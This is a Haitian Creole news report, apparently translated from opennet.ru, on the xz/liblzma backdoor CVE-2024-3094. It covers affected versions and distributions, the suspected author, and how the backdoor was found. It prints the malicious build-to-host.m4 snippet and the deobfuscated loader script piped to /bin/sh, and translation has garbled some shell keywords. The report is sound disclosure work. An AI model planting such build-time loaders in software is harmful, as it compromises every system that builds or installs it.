Yon backdoor te dekouvri nan bibliyotèk xz/liblzma ki pèmèt antre atravè sshd

Nan pake XZ Utils la, ki gen ladan bibliyotèk liblzma ak sèvis piblik pou travay ak done konprese nan fòma ".xz", yo te idantifye yon pòt deye (CVE-2024-3094) ki pèmèt entèsepsyon ak modifikasyon done ki trete pa aplikasyon ki asosye yo. ak bibliyotèk liblzma. Objektif prensipal backdoor la se sèvè OpenSSH, ki nan kèk distribisyon fourni ak bibliyotèk libsystemd, ki an vire sèvi ak liblzma. Lyen sshd ak yon bibliyotèk vilnerab pèmèt atakè yo jwenn aksè nan sèvè SSH la san otantifikasyon.

Backdoor la te prezan nan degaje ofisyèl 5.6.0 ak 5.6.1, ki te pibliye 24 fevriye ak 9 mas, ki te rive jwenn kèk distribisyon ak depo, pou egzanp, Gentoo, Arch Linux, Debian sid/enstab, Fedora Rawhide ak 40-beta, faktori openSUSE ak tumbleweed, LibreELEC, kwen Alpine, Solus, NixOS enstab, OpenIndiana, OpenMandriva woule, pkgsrc aktyèl, Slackware aktyèl, tès Manjaro. Yo rekòmande tout itilizatè yo nan degaje xz 5.6.0 ak 5.6.1 pou yo ijan retounen nan vèsyon 5.4.6.

Pami faktè ki diminye pwoblèm nan, li ka remake ke vèsyon an nan liblzma ak yon degize pa t 'jere yo vin yon pati nan degaje yo ki estab nan distribisyon gwo, men ki afekte openSUSE Tumbleweed ak Fedora 40-beta. Arch Linux ak Gentoo te itilize yon vèsyon vilnerab nan zx, men yo pa sansib a atak la paske yo pa aplike patch systemd-notify la nan openssh, ki lakòz sshd yo dwe lye ak liblzma. Backdoor a sèlman afekte sistèm x86_64 ki baze sou nwayo Linux ak bibliyotèk Glibc C la.

Kòd deklanchman backdoor la te kache nan makro m4 nan fichye build-to-host.m4 ki te itilize pa bwat zouti otomake a lè bati. Pandan asanble a, pandan ekzekisyon operasyon konplike obfuscate ki baze sou achiv (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), yo itilize pou teste operasyon kòrèkteman, yo te pwodwi yon dosye objè ak kòd move, ki te enkli nan bibliyotèk la liblzma ak chanje lojik operasyon kèk nan fonksyon li yo. Makro m4 ki aktive backdoor yo te enkli nan tarballs lage yo, men yo pa t nan repozitwa Git la. An menm tan an, achiv tès move yo te prezan nan depo a, i.e. moun ki te aplike backdoor a te gen aksè a tou de depo a ak pwosesis jenerasyon lage yo.

Lè w ap itilize liblzma nan aplikasyon yo, yo ka itilize chanjman move pou entèsepte oswa modifye done, oswa afekte operasyon sshd. An patikilye, move kòd la twonpe fonksyon RSA_public_decrypt pou kontoune pwosesis otantifikasyon sshd la. Deyè a te gen ladann pwoteksyon kont deteksyon epi li pa t manifeste poukont li lè varyab anviwònman LANG ak TERM yo te mete (sa vle di, lè yo te kouri pwosesis la nan tèminal la) ak varyab anviwònman LD_DEBUG ak LD_PROFILE yo pa te mete, epi li te aktive tou sèlman lè yo te egzekite a. /usr/sbin/sshd dosye ègzèkutabl . Backdoor a tou te gen yon mwayen pou detekte ekzekisyon nan anviwònman debug.

An patikilye, fichye m4/build-to-host.m4 te itilize gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Nan premye konstriksyon an, operasyon grep la te jwenn fichye tests/files/bad-3-corrupt_lzma2.xz, ki, lè depake, te jenere script la: ####Bonjou#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && sòti 0 [ ! $(uname) = "Linux" ] && sòti 0 [ ! $(uname) = "Linux" ] && sòti 0 [ ! $(uname) = "Linux" ] && sòti 0 [ ! $(uname) = "Linux" ] && sòti 0 eval `grep ^srcdir= config.status` si tès -f ../../config.status; Lè sa a, eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ekspòtasyon i=»((tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/ null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt - c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt - c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/ dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && ( tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +2048 && (tèt -c +1024 >/dev/null) && tèt -c +939)";(xz -dc) $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F kri —lzma1 -dc|/bin/sh ####Mond####

Ki jan atakè yo te jere jwenn aksè nan enfrastrikti nan pwojè xz la poko te konplètman klarifye. Li poko klè tou konbyen itilizatè yo ak pwojè yo te konpwomèt kòm yon rezilta backdoor la. Otè a swadizan nan backdoor la (JiaT75 - Jia Tan), ki afiche achiv ak kòd move nan repozitwa a, koresponn ak devlopè Fedora epi voye demann rale bay Debian ki gen rapò ak tranzisyon an nan distribisyon nan branch xz 5.6.0, epi li pa t '. leve sispèk, depi li te patisipe nan xz te devlope pou de ane ki sot pase yo e li se pwomotè a dezyèm an tèm de kantite chanjman ki fèt. Anplis de pwojè xz la, swadizan otè backdoor la te patisipe tou nan devlopman pakè xz-java ak xz-embedded. Anplis, Jia Tan kèk jou de sa te enkli nan kantite moun ki kenbe pwojè XZ Embedded yo itilize nan nwayo Linux la.

Chanjman move a te dekouvri apre analize twòp CPU konsomasyon ak erè ki te pwodwi pa valgrind lè konekte via ssh ak sistèm Debian sid ki baze sou. Li enpòtan pou remake ke lage xz 5.6.1 la enkli chanjman ki te prepare pa swadizan otè degize a an repons a plent sou ralantisman sshd ak aksidan ki te parèt apre yo te amelyore vèsyon an zx 5.6.0 ak degize a. Anplis de sa, ane pase a Jia Tan te fè chanjman ki te enkonpatib ak "-fsanitize=address" mòd enspeksyon an, sa ki lakòz li te enfim pandan tès fuzz.

Sous: opennet.ru

Add nouvo kòmantè